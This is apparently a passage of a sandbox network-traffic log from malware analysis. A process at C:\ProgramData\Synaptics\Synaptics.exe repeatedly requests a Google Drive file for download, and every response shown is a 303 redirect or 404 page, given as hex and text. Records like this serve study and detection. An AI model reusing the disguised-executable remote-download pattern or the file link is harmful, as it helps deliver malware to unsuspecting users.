2024-07-25 19:55:42 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 73 2d 7a 62 58 48 56 5f 31 67 70 43 49 37 6a 58 59 73 32 53 58 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="s-zbXHV_1gpCI7jXYs2SXw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-25 19:55:42 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.8	49915	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:41 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:42 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:41 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-77bXQL3U12xqmVuxmxMNkw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1642 X-GUploader-UploadID: AHxI1nOYtzb5MiiS70uqkJzcpmsuuQBfFEPXwxSXMKuCyzS-hBi-8c8AY4i7VcflKIO7R0Rh6Gw Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:42 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-25 19:55:42 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 39 65 77 68 34 35 64 30 46 5a 69 51 6a 4e 39 76 66 4e 75 79 63 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="9ewh45d0FZiQjN9vfNuycQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-25 19:55:42 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.8	49919	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:43 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:43 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:43 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-7Q5QK4ReUsWyHh5I1yPi7w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.8	49920	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:43 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:43 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:43 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Y0IbTqjfA34SCmfaY7AqEA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: AHxI1nMmM5gA8Laf_ObKVki_y2mrM3P4fjFEwitVRlr4wrvndXEZ1b2hlN6J-C7VWvFJyxHrMkI Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:43 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-25 19:55:43 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6b 73 69 52 33 49 37 79 34 2d 43 45 71 7a 7a 79 4b 4d 41 77 73 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="ksiR3I7y4-CEqzzyKMAwsQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-25 19:55:43 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.8	49921	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:43 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:43 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:43 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-B37_6kfiHdQS69qCwaqh9w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1642 X-GUploader-UploadID: AHxI1nNuLW0OKBRZgGtiMu_xDrai8Kj3MhNSLJ-WXxsK6iW7cTzFDua4Xloc4IfYs5N1vJaV0tY Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:43 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-25 19:55:43 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 73 67 43 63 39 35 44 4a 4d 79 34 32 30 44 6c 55 6b 50 66 37 65 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="sgCc95DJMy420DlUkPf7ew">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-25 19:55:43 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.8	49918	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:43 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:43 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:43 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-i8E9wzyaMzHGgOhgo0B2jg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.8	49929	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:44 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:45 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:45 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-YB6EPOR25oD5NwAkd6UCtw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.8	49930	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:44 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:45 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:45 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-aw4iSiA7dbHd7cg0waf-Kg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.8	49934	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:45 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:46 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:46 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-ACKcDFnB21L6ebREeWDcig' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: AHxI1nMbgO22B2tiszlNLo-q92GKTLGOpD5Zl0fF2ievvgBuFYV_9UTImGt1_lKIEM-pLOBYfGA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
